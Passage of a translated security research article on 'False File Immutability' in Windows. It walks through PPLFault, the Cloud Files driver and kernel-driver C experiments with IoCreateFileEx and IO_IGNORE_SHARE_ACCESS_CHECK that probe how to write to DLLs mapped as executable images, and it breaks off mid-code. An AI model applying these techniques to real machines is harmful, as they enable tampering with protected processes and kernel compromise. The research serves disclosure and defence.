En 2024, nous avons divulgué une nouvelle classe de vulnérabilité Windows, False File Immutability (FFI), qui a démontré précédemment comment les redirecteurs de réseau pouvaient être utilisés pour violer des hypothèses incorrectes dans la conception de Windows Code Integrity, ce qui a donné lieu à une paire d'exploits dans le noyau. Ces exploits s'appuient sur les lecteurs réseau Windows, ce qui ajoute de la complexité et crée un point d'étranglement dans la chaîne d'exécution qui facilite la détection et l'atténuation des effets.
Cette recherche présente une avancée en introduisant une méthode d'exploitation plus rationnelle et plus autonome. Cette nouvelle approche s'appuie sur une fonctionnalité intégrée de Windows pour réaliser le même contournement des modifications de fichiers, sans les complexités des configurations SMB. En analysant la façon dont le pilote du noyau pour cette capacité traite les données des fichiers, nous découvrons un contournement de sécurité qui permet à un attaquant de modifier des fichiers que Windows suppose à tort immuables, ce qui conduit à un exploit de preuve de concept du noyau.
Principaux points abordés dans cet article :
- Aucun redirecteur de réseau n'est nécessaire : Contrairement aux exploits précédents, la nouvelle méthode d'exploitation exploite la fausse immutabilité des fichiers sans nécessiter l'utilisation du partage de fichiers Windows.
- Capacité intégrée exploitée : L'exploit exploite un contournement de sécurité dans une capacité intégrée de Windows qui gère la synchronisation de fichiers dans le nuage.
- Violation de l'immutabilité : Il permet de modifier des fichiers que le noyau Windows et le gestionnaire de mémoire considèrent à tort comme immuables, ce qui conduit à un exploit du noyau.
- Atténuation contournée : Il permet aux attaquants de contourner une mesure d'atténuation que Microsoft a créée spécifiquement pour un exploit FFI antérieur.
- Forever-Day : Microsoft a choisi de ne patcher cet exploit que dans certaines versions de Windows, de sorte qu'il reste fonctionnel sur plusieurs versions entièrement patchées de Windows dans le cadre du Mainstream Support à partir de février 2026.
Fausse immutabilité des fichiers
Vous vous souvenez peut-être de False File Immutability grâce à notre récent article et à la conférence BlueHat IL 2024 , mais si ce n'est pas le cas, cette section devrait vous rafraîchir la mémoire. Si vous êtes déjà familiarisé, n'hésitez pas à passer à la section suivante.
Lorsqu'une application ouvre un fichier sous Windows, elle utilise généralement une forme ou une autre de l'API Win32 CreateFile.
HANDLE CreateFileW(
[in] LPCWSTR lpFileName,
[in] DWORD dwDesiredAccess,
[in] DWORD dwShareMode,
[in, optional] LPSECURITY_ATTRIBUTES lpSecurityAttributes,
[in] DWORD dwCreationDisposition,
[in] DWORD dwFlagsAndAttributes,
[in, optional] HANDLE hTemplateFile
);
Les personnes qui appellent CreateFile précisent l'accès qu'elles souhaitent dans dwDesiredAccess. Par exemple, un appelant transmettra FILE_READ_DATA pour pouvoir lire des données, ou FILE_WRITE_DATA pour pouvoir écrire des données. L'ensemble des droits d'accès est documenté sur le site web Microsoft Learn.
En plus de passer dwDesiredAccess, les appelants doivent passer un "mode de partage" dans dwShareMode, qui consiste en zéro ou plus de FILE_SHARE_READ, FILE_SHARE_WRITE, et FILE_SHARE_DELETE. Vous pouvez considérer qu'un mode de partage est la déclaration de l'appelant : "Je suis d'accord pour que d'autres personnes fassent X sur ce fichier pendant que je l'utilise", X pouvant être la lecture, l'écriture ou le renommage. Par exemple, un appelant qui transmet FILE_SHARE_WRITE permet à d'autres personnes d'écrire le fichier pendant qu'elles travaillent dessus.
Lors de l'ouverture d'un fichier, l'adresse dwDesiredAccess de l'appelant est testée par rapport à l'adresse dwShareMode de tous les gestionnaires de fichiers existants. Simultanément, l'adresse dwShareMode de l'appelant est testée par rapport à l'adresse dwDesiredAccess de tous les gestionnaires existants de ce fichier. Si l'un de ces tests échoue, CreateFile échoue en raison d'une violation de partage.
Le partage n'est pas obligatoire. Les appelants peuvent passer un mode de partage de zéro pour obtenir un accès exclusif. Selon la documentation de Microsoft :
Un fichier ouvert qui n'est pas partagé (
dwShareModefixé à zéro) ne peut pas être ouvert à nouveau, que ce soit par l'application qui l'a ouvert ou par une autre application, tant que son handle n'a pas été fermé. On parle également d'accès exclusif.
Le partage est imposé par le système de fichiers, généralement NTFS, mais Windows prend en charge d'autres systèmes de fichiers tels que FAT32. Windows lui-même omet FILE_SHARE_WRITE lors de l'ouverture de certains types de fichiers, empêchant ainsi leur modification pendant qu'ils sont en cours d'utilisation. Ces fichiers non modifiables peuvent être considérés comme immuables.
Dans certaines situations, le gestionnaire de mémoire s'appuie sur cette immutabilité. Si un défaut de page se produit dans un fichier à mémoire immuable et que cette page n'a pas été modifiée, le gestionnaire de mémoire peut lire le contenu de cette page directement à partir du fichier d'origine. Il n'est pas nécessaire d'enregistrer une deuxième copie du contenu du fichier dans le fichier de pages, car l'immutabilité garantit que le fichier sur le disque ne peut pas être modifié. Les exécutables exécutés en mémoire, tels que les EXE et les DLL, sont immuables, de sorte que le gestionnaire de mémoire peut leur appliquer cette optimisation.
Les redirecteurs de réseau permettent d'utiliser des chemins d'accès au réseau avec n'importe quelle API acceptant les chemins d'accès aux fichiers. C'est très pratique, car cela permet aux utilisateurs et aux applications de travailler facilement avec des fichiers et d'exécuter des programmes à partir des lecteurs du réseau. Le noyau redirige de manière transparente toutes les entrées/sorties vers la machine distante. Si un programme est lancé à partir d'un lecteur réseau, tous les EXE et DLL seront tirés du réseau de manière transparente, selon les besoins.
Lorsqu'un redirecteur de réseau est utilisé, le serveur à l'autre bout du tuyau ne doit pas nécessairement être une machine Windows. Il peut s'agir d'une machine Linux exécutant Samba, ou même d'un script Python Impacket qui "parle" le protocole réseau SMB. Cela signifie que le serveur ne doit pas respecter la sémantique de partage du système de fichiers de Windows. Un attaquant peut utiliser un redirecteur de réseau pour modifier des fichiers "immuables" côté serveur, en contournant les restrictions de partage. Cela signifie que ces fichiers sont supposés, à tort, être immuables. Il s'agit d'une catégorie de vulnérabilité que nous appelons " False File Immutability " (FFI).
Fichiers dans le nuage
Imaginez que vous sortiez de chez vous pour commencer votre journée et que vous trouviez un paquet sur le pas de votre porte. Il s'agit du Surface Book que vous avez commandé la semaine dernière. Enthousiaste mais à court de temps, vous le mettez dans votre sac et vous vous rendez à la salle de sport. Après vous être entraîné sur des rythmes de malade sur votre Zune, vous vous rendez au café local de Redmond pour retrouver un ami que vous avez rencontré sur Xbox Live. Malheureusement, ils sont en retard, alors vous ouvrez votre tout nouveau Surface Book et vous vous connectez à Windows, impatient de configurer Recall. Malgré le Wi-Fi médiocre du café, l'intégralité de votre OneDrive de 1 To apparaît immédiatement devant vous. Il est impossible que vous ayez téléchargé 1 To aussi rapidement, il doit donc y avoir de la sorcellerie. Cette sorcellerie, c'est Cloud Files.
Introduit dans Windows 10 version 1709, Cloud Files permet aux applications en mode utilisateur comme OneDrive de s'enregistrer en tant que fournisseurs de synchronisation cloud et de créer des fichiers "placeholder" vides sur le système. Dans un premier temps, ces espaces réservés sont déshydratés (vides). Lorsque vous y accédez, les E/S sont interceptées par le pilote du noyau de CloudFiles (cldflt.sys), qui fait appel au processus du fournisseur. Le fournisseur peut alors récupérer le contenu du fichier dans le nuage. Il n'est pas nécessaire de télécharger l'intégralité du fichier en une seule fois. Si vous n'avez besoin que de 1 Mo, il ne peut récupérer que ce 1 Mo. Au fur et à mesure que vous sollicitez le fichier, il peut continuer à réhydrater (remplir) le contenu du fichier en fonction des besoins.
Lorsque le pilote doit réhydrater un fichier, il invoque un rappel de réhydratation dans le processus du fournisseur (i.e. OneDrive.exe). Ce rappel récupère le contenu du fichier (potentiellement à partir du nuage) et appelle CfExecute pour donner ce contenu au pilote, qui l'écrit ensuite dans le fichier. CloudFiles ne demandera la réhydratation que des régions de fichiers qui ne sont pas actuellement hydratées, mais il est possible de déshydrater des fichiers pour libérer de l'espace sur le système actuel.
Développement d'exploits
Par défaut, Windows permet le partage de fichiers et de dossiers sur le réseau à l'aide du protocole Server Message Block (SMB). Si vous vous êtes déjà connecté à un disque partagé sur un réseau d'entreprise, il y a de fortes chances qu'il utilise SMB. Windows comprend par défaut un client et un serveur SMB. Le composant client fournit un redirecteur de réseau, comme décrit ci-dessus, permettant un accès SMB transparent aux fichiers via n'importe quelle API acceptant les chemins d'accès aux fichiers. Par exemple, vous pouvez exécuter Process Monitor sur Internet dès maintenant en lançant \\live.sysinternals.com\Procmon.exe.
Nous avons publié l'exploit PPLFault en mai 2023 en même temps que notre exposé à Black Hat Asia. PPLFault utilise un redirecteur de réseau pour exploiter les failles de sécurité dans les DLL chargées dans les processus PPL (Protected Process Light). Le prototype initial nécessitait une deuxième machine contrôlée par l'attaquant et exécutant un serveur SMB malveillant. En désactivant le serveur SMB intégré de Windows, nous avons pu déplacer le serveur SMB malveillant sur la machine locale, ce qui a supprimé la nécessité d'une deuxième machine(prototype).
Cependant, cela a été plus compliqué que nous l'aurions souhaité, car à l'époque, nous pensions à tort que l'arrêt du serveur SMB intégré à Windows nécessitait un redémarrage. Heureusement, nous avons découvert la technique de James Forshaw qui consiste à combiner le fournisseur CloudFiles avec l'adaptateur SMB loopback (localhost), ce qui nous a permis de créer l'exploit final sans redémarrage. En plus d'être rationalisé, le couple CloudFiles/SMB se distingue des deux versions précédentes de l'exploit par le fait qu'il utilise le serveur SMB normal de Windows, ce qui devrait permettre le partage de fichiers (c.-à-d., le partage de données). FILE_SHARE_*). Par exemple, si un client SMB a un fichier ouvert sur un serveur sans FILE_SHARE_WRITE, le serveur ne doit pas permettre à un autre client d'ouvrir ce fichier en écriture. De même, le serveur ne doit pas autoriser l'accès en écriture aux exécutables exécutés localement sur le serveur.
Il semble qu'il y ait une contradiction. Si PPLFault doit respecter les restrictions de partage de fichiers, comment peut-il injecter du code dans une DLL en cours d'exécution ? Voyons ce que le moniteur de processus peut nous dire. L'exécution de PPLFault sous Process Monitor montre les trois opérations suivantes (filtrées à des fins d'illustration). Cette analyse a été réalisée avec la version 10.0.22621.2861 de cldflt.sys sur Windows 11 22631.2861.
Dans l'ordre, les opérations sont les suivantes :
- Le processus victime,
services.exe, charge une DLL en tant qu'image exécutable. - Une fois qu'il est chargé,
PPLFault.exel'ouvre. - Une fois qu'il est ouvert,
PPLFault.exey écrit.
Il y a quelques observations clés à faire ici :
Violation de l'immutabilité
Nous voyons une opération d'écriture réussie dans un fichier alors qu'il est chargé en tant qu'image exécutable. Dans nos recherches antérieures sur le FFI, nous avons abordé la vérification de MmFlushImageSection dans le système de fichiers, qui est conçue pour se prémunir contre ce type de situation. Comment a-t-il contourné ce contrôle ?
Violation du modèle d'accès aux fichiers
Nous pouvons constater que PPLFault a écrasé le fichier avec succès. La documentation Microsoft pour WriteFile indique que le fichier aurait dû être ouvert avec un accès en écriture, ce qui signifie FILE_WRITE_DATAmais la sortie montre qu'il a été ouvert pour "Read Attributes, Write Attributes, Synchronize", ce qui correspond à FILE_READ_ATTRIBUTES, FILE_WRITE_ATTRIBUTES, et SYNCHRONIZE. Sans FILE_WRITE_DATA, comment a-t-il écrasé ce fichier ?
Nous allons tenter de répondre à ces deux questions dans la section suivante.
📘 Nerd Bonus -
Process Monitor installe un pilote de mini-filtre de système de fichiers pour intercepter et enregistrer l'activité d'E/S sur le système. Windows encapsule les actions d'E/S dans des structures appelées paquets de requêtes d'E/S (IRP). Chaque mini-filtre se voit attribuer une "altitude", que vous pouvez comparer aux étages d'un immeuble. La plupart des IRP partent de l'étage supérieur et descendent le long de la pile. Si un minifiltre émet ses propres E/S, cette IRP commence à son altitude et se déplace vers le bas à partir de là. En d'autres termes, un minifiltre situé au sixième étage ne verra jamais les entrées/sorties provenant du cinquième étage. Le pilote du mini-filtre de Process Monitor fonctionne à l'altitude
385200. Normalement, il ne verra jamais l'activité decldflt.sys, qui circule à l'altitude180451. Heureusement, nous pouvons ajuster l'altitude de Process Monitor avec le commutateur /altitude, en le plaçant sous CloudFiles à l'altitude180450.
Des règles pour vous, mais pas pour moi
Comme nous l'avons vu, les applications sont soumises à des restrictions en matière de partage de fichiers, mais le noyau lui-même n'est pas toujours soumis aux mêmes restrictions. Par exemple, les pilotes du noyau peuvent utiliser IoCreateFileEx pour ouvrir ou créer des fichiers.
NTSTATUS IoCreateFileEx(
[out] PHANDLE FileHandle,
[in] ACCESS_MASK DesiredAccess,
[in] POBJECT_ATTRIBUTES ObjectAttributes,
[out] PIO_STATUS_BLOCK IoStatusBlock,
[in, optional] PLARGE_INTEGER AllocationSize,
[in] ULONG FileAttributes,
[in] ULONG ShareAccess,
[in] ULONG Disposition,
[in] ULONG CreateOptions,
[in, optional] PVOID EaBuffer,
[in] ULONG EaLength,
[in] CREATE_FILE_TYPE CreateFileType,
[in, optional] PVOID InternalParameters,
[in] ULONG Options,
[in, optional] PIO_DRIVER_CREATE_CONTEXT DriverContext
);
IoCreateFileEx ressemble beaucoup à la fonction NtCreateFile, mais sa documentation décrit quelques capacités supplémentaires importantes, notamment son paramètre Options, qui prend en charge un drapeau :
IO_IGNORE_SHARE_ACCESS_CHECK
Le gestionnaire d'E/S ne doit pas effectuer de contrôles d'accès au partage sur l'objet fichier après sa création. Cependant, le système de fichiers peut toujours effectuer ces vérifications.
Est-ce si simple ? Un pilote de noyau peut-il utiliser IoCreateFileEx(IO_IGNORE_SHARE_ACCESS_CHECK) pour ouvrir une DLL en cours d'utilisation en vue d'un accès en écriture ? Écrivons un pilote de noyau pour l'essayer. Le code de cet article est disponible en tant que projet Visual Studio sur GitHub ici.
/*
* This experiment shows that a file opened without FILE_SHARE_WRITE
* can't be modified unless IO_IGNORE_SHARE_ACCESS_CHECK is used.
*/
VOID ExperimentOne()
{
DECLARE_CONST_UNICODE_STRING(filePath, L"\\??\\C:\\TestFile.bin");
NTSTATUS ntStatus = STATUS_SUCCESS;
HANDLE hFile = NULL;
HANDLE hFile2 = NULL;
OBJECT_ATTRIBUTES objAttr{};
IO_STATUS_BLOCK iosb{};
BOOLEAN bSuccessful = FALSE;
BOOLEAN bReportResults = FALSE;
InitializeObjectAttributes(&objAttr, (PUNICODE_STRING)&filePath,
OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, NULL, NULL);
// Create a file without FILE_SHARE_WRITE
// This mimics ntdll!LdrpMapDllNtFileName
ntStatus = ZwCreateFile(
&hFile,
FILE_READ_DATA | FILE_EXECUTE | SYNCHRONIZE,
&objAttr, &iosb, NULL, FILE_ATTRIBUTE_NORMAL,
FILE_SHARE_READ | FILE_SHARE_DELETE,
FILE_OPEN_IF,
FILE_SYNCHRONOUS_IO_NONALERT | FILE_NON_DIRECTORY_FILE,
NULL, 0);
if (!NT_SUCCESS(ntStatus))
{
DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL,
"ExperimentOne: ZwCreateFile %wZ failed with NTSTATUS 0x%08x\n",
&filePath, ntStatus);
goto Cleanup;
}
bReportResults = TRUE;
// IoCreateFileEx without IO_IGNORE_SHARE_ACCESS_CHECK should not be able to open the file
ntStatus = IoCreateFileEx(
&hFile2,
FILE_WRITE_DATA | SYNCHRONIZE,
&objAttr, &iosb, NULL, FILE_ATTRIBUTE_NORMAL,
FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
FILE_OPEN,
FILE_SYNCHRONOUS_IO_NONALERT | FILE_NON_DIRECTORY_FILE,
NULL, 0, CreateFileTypeNone, NULL,
0,
NULL);
if (NT_SUCCESS(ntStatus))
{
DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL,
"ExperimentOne: IoCreateFileEx(FILE_WRITE_DATA) unexpectedly "
"succeeded on a write-sharing-denied file\n");
ntStatus = STATUS_UNSUCCESSFUL;
goto Cleanup;
}
// Can IoCreateFileEx(IO_IGNORE_SHARE_ACCESS_CHECK) open a
// write-sharing-denied file for write access?
ntStatus = IoCreateFileEx(
&hFile2,
FILE_WRITE_DATA | SYNCHRONIZE,
&objAttr, &iosb, NULL, FILE_ATTRIBUTE_NORMAL,
FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
FILE_OPEN,
FILE_SYNCHRONOUS_IO_NONALERT | FILE_NON_DIRECTORY_FILE,
NULL, 0, CreateFileTypeNone, NULL,
IO_IGNORE_SHARE_ACCESS_CHECK,
NULL);
bSuccessful = NT_SUCCESS(ntStatus);
Cleanup:
if (bReportResults)
{
DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL,
"ExperimentOne complete. "
"IoCreateFileEx(IO_IGNORE_SHARE_ACCESS_CHECK) %s open a "
"write-sharing-denied file for FILE_WRITE_DATA. "
"Status: 0x%08x\n",
bSuccessful ? "CAN" : "CANNOT",
ntStatus);
}
HandleDelete(hFile);
HandleDelete(hFile2);
}
Si vous le chargez dans une machine virtuelle avec la signature de test activée, vous obtiendrez le résultat suivant :
ExperimentOne complete. IoCreateFileEx(IO_IGNORE_SHARE_ACCESS_CHECK) CAN open a write-sharing-denied file for FILE_WRITE_DATA. Status: 0x00000000
Venons-nous de trouver une explication plausible à la façon dont PPLFault peut modifier des fichiers "immuables" ? Pas tout à fait. Cette expérience était un peu trop simple, mais elle montre IO_IGNORE_SHARE_ACCESS_CHECK en action, prouvant que les API du noyau peuvent offrir plus de liberté que leurs équivalents en mode utilisateur.
Dans PPLFault, CloudFiles ne se contente pas de modifier un fichier avec des poignées de partage d'écriture. Il s'agit plutôt de modifier une DLL pendant qu'elle est mappée dans la mémoire en tant qu'image exécutable. Tentons une autre expérience qui se rapproche un peu plus du scénario de PPLFault. Dans la deuxième expérience, nous émulerons LoadLibrary en ouvrant une DLL, en créant une section SEC_IMAGE, puis en mappant une vue de cette section dans la mémoire. Une fois la vue mappée, nous fermerons les handles et testerons si IoCreateFileEx(IO_IGNORE_SHARE_ACCESS_CHECK) peut obtenir un handle accessible en écriture.
Commençons par une fonction d'aide qui fait correspondre un PE à une section d'image, à l'instar de LoadLibrary. Nous le ferons dans le noyau afin de conserver l'expérience dans un seul pilote, mais notez qu'il est fonctionnellement équivalent à LoadLibrary pour nos besoins.
// Emulate a portion of LoadLibrary
NTSTATUS MapFileAsImageSection(
PCUNICODE_STRING pPath,
HANDLE* phFile,
HANDLE* phSection,
PVOID* ppMappedBase
)
{
NTSTATUS ntStatus = STATUS_SUCCESS;
HANDLE hFile = NULL;
HANDLE hSection = NULL;
PVOID pMappedBase = NULL;
SIZE_T viewSize = 0;
OBJECT_ATTRIBUTES objAttr{};
IO_STATUS_BLOCK iosb{};
InitializeObjectAttributes(&objAttr, (PUNICODE_STRING)pPath,
OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, NULL, NULL);
// From ntdll!LdrpMapDllNtFileName
// NtOpenFile(&FileHandle, 0x100021u, &ObjectAttributes, &IoStatusBlock, 5u, 0x60u);
ntStatus = ZwOpenFile(
&hFile,
FILE_READ_DATA | FILE_EXECUTE | SYNCHRONIZE,
&objAttr, &iosb,
FILE_SHARE_READ | FILE_SHARE_DELETE,
FILE_SYNCHRONOUS_IO_NONALERT | FILE_NON_DIRECTORY_FILE);
if (!NT_SUCCESS(ntStatus))
{
DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL,
"MapFileAsImageSection: ZwCreateFile %wZ failed with NTSTATUS 0x%08x\n",
pPath, ntStatus);
goto Cleanup;
}
InitializeObjectAttributes(&objAttr, NULL, OBJ_KERNEL_HANDLE, NULL, NULL);
// From ntdll!LdrpMapDllNtFileName
// NtCreateSection(&Handle, 0xDu, 0LL, 0LL, 0x10u, v18, FileHandle);
ntStatus = ZwCreateSection(&hSection,
SECTION_QUERY | SECTION_MAP_READ | SECTION_MAP_EXECUTE,
&objAttr, NULL, PAGE_EXECUTE, SEC_IMAGE, hFile
);
if (!NT_SUCCESS(ntStatus))
{
DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL,
"MapFileAsImageSection: ZwCreateSection %wZ failed with NTSTATUS 0x%08x\n",
pPath, ntStatus);
goto Cleanup;
}
// From ntdll!LdrpMinimalMapModule
// Map a view of this SEC_IMAGE section into lower half of the the System process address space
ntStatus = ZwMapViewOfSection(
hSection, ZwCurrentProcess(), &pMappedBase, 0, 0, NULL,
&viewSize, ViewShare, 0, PAGE_EXECUTE_WRITECOPY);
if (!NT_SUCCESS(ntStatus))
{
DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL,
"MapFileAsImageSection: ZwMapViewOfSection %wZ failed with NTSTATUS 0x%08x\n",
pPath, ntStatus);
goto Cleanup;
}
// Move ownership to output parameters and prevent cleanup
*ppMappedBase = pMappedBase;
pMappedBase = NULL;
*phFile = hFile;
hFile = NULL;
*phSection = hSection;
hSection = NULL;
Cleanup:
HandleDelete(hFile);
HandleDelete(hSection);
if (pMappedBase)
{
NTSTATUS unmapStatus = ZwUnmapViewOfSection(ZwCurrentProcess(), pMappedBase);
NT_ASSERT(NT_SUCCESS(unmapStatus));
}
return ntStatus;
}
Utilisons maintenant cette aide pour mapper une DLL, puis voyons si nous pouvons y écrire avec IO_IGNORE_SHARE_ACCESS_CHECK:
/*
* This experiment shows that a file opened without FILE_SHARE_WRITE can't be
* modified even if IO_IGNORE_SHARE_ACCESS_CHECK is used because the file has
* an associated active SEC_IMAGE section.
*/
VOID ExperimentTwo()
{
DECLARE_CONST_UNICODE_STRING(filePath, L"\\SystemRoot\\System32\\TestDll.dll");
NTSTATUS ntStatus = STATUS_SUCCESS;
HANDLE hFile = NULL;
HANDLE hSection = NULL;
HANDLE hFile2 = NULL;
OBJECT_ATTRIBUTES fileObjAttr{};
OBJECT_ATTRIBUTES sectionObjAttr{};
IO_STATUS_BLOCK iosb{};
BOOLEAN bSuccessful = FALSE;
BOOLEAN bReportResults = FALSE;
PVOID pMappedBase = NULL;
PFILE_OBJECT pFileObject = NULL;
ntStatus = MapFileAsImageSection(
&filePath, &hFile, &hSection, &pMappedBase);
if (!NT_SUCCESS(ntStatus))
{
DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL,
"ExperimentThree: MapFileAsImageSection %wZ failed with NTSTATUS 0x%08x\n",
&filePath, ntStatus);
goto Cleanup;
}
// MmFlushImageSection should return FALSE. This is what fails the FILE_WRITE_DATA request below.
// MmFlushImageSection requires SECTION_OBJECT_POINTERS, which we can get from the FILE_OBJECT.
ntStatus = ObReferenceObjectByHandle(hFile, 0, *IoFileObjectType, KernelMode, (PVOID*)&pFileObject, NULL);
if (!NT_SUCCESS(ntStatus))
{
DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL,
"ExperimentThree: ObReferenceObjectByHandle %wZ failed with NTSTATUS 0x%08x\n",
&filePath, ntStatus);
goto Cleanup;
}
if (MmFlushImageSection(pFileObject->SectionObjectPointer, MmFlushForWrite))
{
DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL,
"ExperimentThree: MmFlushImageSection unexpectedly succeeded %wZ\n",
&filePath);
goto Cleanup;
}
// Now that a view of the SEC_IMAGE mapping exists, close the file and section handles to remove them from the equation
// We're trying to test whether IO_IGNORE_SHARE_ACCESS_CHECK can bypass the MmFlushImageSection check here:
// https://github.com/Microsoft/Windows-driver-samples/blob/622212c3fff587f23f6490a9da939fb85968f651/filesys/fastfat/create.c#L3572-L3593
ReferenceDelete(pFileObject);
HandleDelete(hFile);
HandleDelete(hSection);
InitializeObjectAttributes(&fileObjAttr, (PUNICODE_STRING)&filePath, OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, NULL, NULL);
// Can IoCreateFileEx(IO_IGNORE_SHARE_ACCESS_CHECK) open a file mapped as SEC_IMAGE for write access?
ntStatus = IoCreateFileEx(
&hFile2,
FILE_WRITE_DATA | SYNCHRONIZE,
&fileObjAttr, &iosb, NULL, FILE_ATTRIBUTE_NORMAL,
FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
FILE_OPEN,
FILE_SYNCHRONOUS_IO_NONALERT | FILE_NON_DIRECTORY_FILE,
NULL, 0, CreateFileTypeNone, NULL,
IO_IGNORE_SHARE_ACCESS_CHECK,
NULL);
bSuccessful = NT_SUCCESS(ntStatus);
bReportResults = TRUE;
Cleanup:
if (bReportResults)
{
DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL,
"ExperimentTwo complete. "
"IoCreateFileEx(IO_IGNORE_SHARE_ACCESS_CHECK) %s open a "
"file backing a local SEC_IMAGE section for FILE_WRITE_DATA. "
"Status: 0x%08x\n",
bSuccessful ? "CAN" : "CANNOT",
ntStatus);
}
HandleDelete(hFile);
HandleDelete(hSection);
HandleDelete(hFile2);
ReferenceDelete(pFileObject);
if (pMappedBase)
{
NTSTATUS unmapStatus = ZwUnmapViewOfSection(ZwCurrentProcess(), pMappedBase);
NT_ASSERT(NT_SUCCESS(unmapStatus));
}
}
L'exécution de cette expérience donne les résultats suivants :
ExperimentTwo complete. IoCreateFileEx(IO_IGNORE_SHARE_ACCESS_CHECK) CANNOT open a file backing a local SEC_IMAGE section for FILE_WRITE_DATA. Status: 0xc0000043
Dans ce cas, IoCreateFileEx a échoué avec 0xC0000043 (STATUS_SHARING_VIOLATION) parce que les fichiers mappés en tant qu'images exécutables bénéficient de protections supplémentaires pour garantir qu'ils restent immuables, même en l'absence de handles ouverts. Vous pouvez voir cette vérification en utilisant l'API MmFlushImageSection dans l'exemple de code du pilote Microsoft FastFat, mais elle existe également dans d'autres systèmes de fichiers, y compris NTFS :
//
// If the user wants write access access to the file make sure there
// is not a process mapping this file as an image. [ ... ]
//
if (FlagOn(*DesiredAccess, FILE_WRITE_DATA) || DeleteOnClose) {
[ ... ]
if (!MmFlushImageSection( &Fcb->NonPaged->SectionObjectPointers,
MmFlushForWrite )) {
Iosb.Status = DeleteOnClose ? STATUS_CANNOT_DELETE :
STATUS_SHARING_VIOLATION;
try_return( Iosb );
}
}
Le drapeau IO_IGNORE_SHARE_ACCESS_CHECK contourne les vérifications du gestionnaire d'E/S, mais pas celle de MmFlushImageSection dans le système de fichiers. En relisant la description de IO_IGNORE_SHARE_ACCESS_CHECK, on se rend compte a posteriori que c'est évident :
IO_IGNORE_SHARE_ACCESS_CHECK
Le gestionnaire d'E/S ne doit pas effectuer de contrôles d'accès au partage sur l'objet fichier après sa création. Cependant, le système de fichiers peut toujours effectuer ces vérifications.
ExperimentTwo n'est pas exactement une représentation fidèle de PPLFault, qui charge la DLL à partir d'un lecteur réseau. Lorsqu'un client réseau ouvre un fichier sur un serveur, le pilote client SMB alloue une structure File Control Block(FCB) représentant ce fichier logique. En conséquence, le serveur ouvre le fichier avec les modes de partage demandés et alloue son propre FCB. Cela signifie qu'il y a deux FCB distincts en jeu avec des sémantiques différentes. Lorsque le client mappe une DLL dans la mémoire en tant qu'exécutable, le mappage du fichier SEC_IMAGE qui en résulte (alias section) est associé à son FCB et bénéficie donc de la protection de MmFlushImageSection. Le serveur ne crée pas de section image correspondante, de sorte que son FCB ne bénéficie pas d'une telle protection. PPLFault exploite cette différence en effectuant les écritures sur le FCB du serveur, en contournant la vérification de MmFlushImageSection.
Faisons l'expérience dans le cadre de l'expérience 3 :
/*
* This experiment shows that a file loaded as a DLL by an SMB client can't be modified
* server-side unless IO_IGNORE_SHARE_ACCESS_CHECK is used.
*/
VOID ExperimentThree()
{
DECLARE_CONST_UNICODE_STRING(filePathLocal,
L"\\SystemRoot\\System32\\TestDll.dll");
DECLARE_CONST_UNICODE_STRING(filePathSMB,
L"\\Device\\Mup\\127.0.0.1\\c$\\Windows\\System32\\TestDll.dll");
NTSTATUS ntStatus = STATUS_SUCCESS;
HANDLE hFile = NULL;
HANDLE hSection = NULL;
HANDLE hFile2 = NULL;
OBJECT_ATTRIBUTES fileObjAttr{};
OBJECT_ATTRIBUTES sectionObjAttr{};
IO_STATUS_BLOCK iosb{};
BOOLEAN bSuccessful = FALSE;
BOOLEAN bReportResults = FALSE;
PVOID pMappedBase = NULL;
ntStatus = MapFileAsImageSection(
&filePathSMB, &hFile, &hSection, &pMappedBase);
if (!NT_SUCCESS(ntStatus))
{
DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL,
"ExperimentThree: MapFileAsImageSection %wZ failed with NTSTATUS 0x%08x\n",
&filePathSMB, ntStatus);
goto Cleanup;
}
// Now that a view of the SEC_IMAGE mapping exists,
// close the file and section handles to remove them from the equation.
// We're trying to test whether IO_IGNORE_SHARE_ACCESS_CHECK can bypass the
// MmFlushImageSection check here:
// https://github.com/Microsoft/Windows-driver-samples/blob/622212c3fff587f23f6490a9da939fb85968f651/filesys/fastfat/create.c#L3572-L3593
HandleDelete(hFile);
HandleDelete(hSection);
InitializeObjectAttributes(&fileObjAttr,
(PUNICODE_STRING)&filePathLocal, OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, NULL, NULL);
bReportResults = TRUE;
// Can IoCreateFileEx() open a file mapped as SEC_IMAGE for write access?
ntStatus = IoCreateFileEx(
&hFile2,
FILE_WRITE_DATA | SYNCHRONIZE,
&fileObjAttr, &iosb, NULL, FILE_ATTRIBUTE_NORMAL,
FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
FILE_OPEN,
FILE_SYNCHRONOUS_IO_NONALERT | FILE_NON_DIRECTORY_FILE,
NULL, 0, CreateFileTypeNone, NULL,
0,
NULL);
if (NT_SUCCESS(ntStatus))
{
DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL,
"ExperimentThree: IoCreateFileEx(FILE_WRITE_DATA) unexpectedly succeeded "
"on a file mapped as SEC_IMAGE remotely by an SMB client\n");
ntStatus = STATUS_UNSUCCESSFUL;
goto Cleanup;
}
// Can IoCreateFileEx(IO_IGNORE_SHARE_ACCESS_CHECK) open
// a file mapped as SEC_IMAGE for write access?
ntStatus = IoCreateFileEx(
&hFile2,
FILE_WRITE_DATA | SYNCHRONIZE,
